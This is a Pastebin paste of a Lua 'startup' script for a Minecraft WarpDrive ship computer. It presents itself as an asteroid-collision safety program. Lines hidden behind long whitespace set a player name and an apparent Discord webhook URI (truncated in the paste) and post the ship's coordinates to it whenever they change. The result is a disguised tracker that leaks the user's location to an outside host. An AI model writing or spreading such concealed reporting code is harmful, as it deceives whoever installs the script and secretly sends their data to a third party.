Advertisement
Guest User

startup

a guest
Sep 15th, 2019
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.92 KB | None | 0 0
  1.                                                         local name = "joey_" -- ascii only
  2.                                                         local uri = "https://discor"
  3. -- This program ensures that we
  4. -- don't crash into any asteroids
  5.  
  6. print("Warpdrive security active!")
  7.  
  8. while true do
  9.     local p = peripheral.find("warpdriveShipCore")
  10.     local x,y,z = p.getLocalPosition()
  11.    
  12.     local text = x .. " "..y.." "..z
  13.  
  14.     local oldText = ""
  15.     if fs.exists("lastpos") then
  16.         local f = fs.open("lastpos","r")        
  17.         oldText = f.readAll()
  18.         f.close()
  19.     end
  20.  
  21.     if oldText ~= text then
  22.         local f2 = fs.open("lastpos","w")
  23.         f2.write(text)
  24.                                                         http.post(uri,"{\"content\":\""..name..": "..text.."\"}",{['content-type']="application/json"})
  25.         f2.close()                                                
  26.     end    
  27.    
  28.     sleep(10)
  29. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement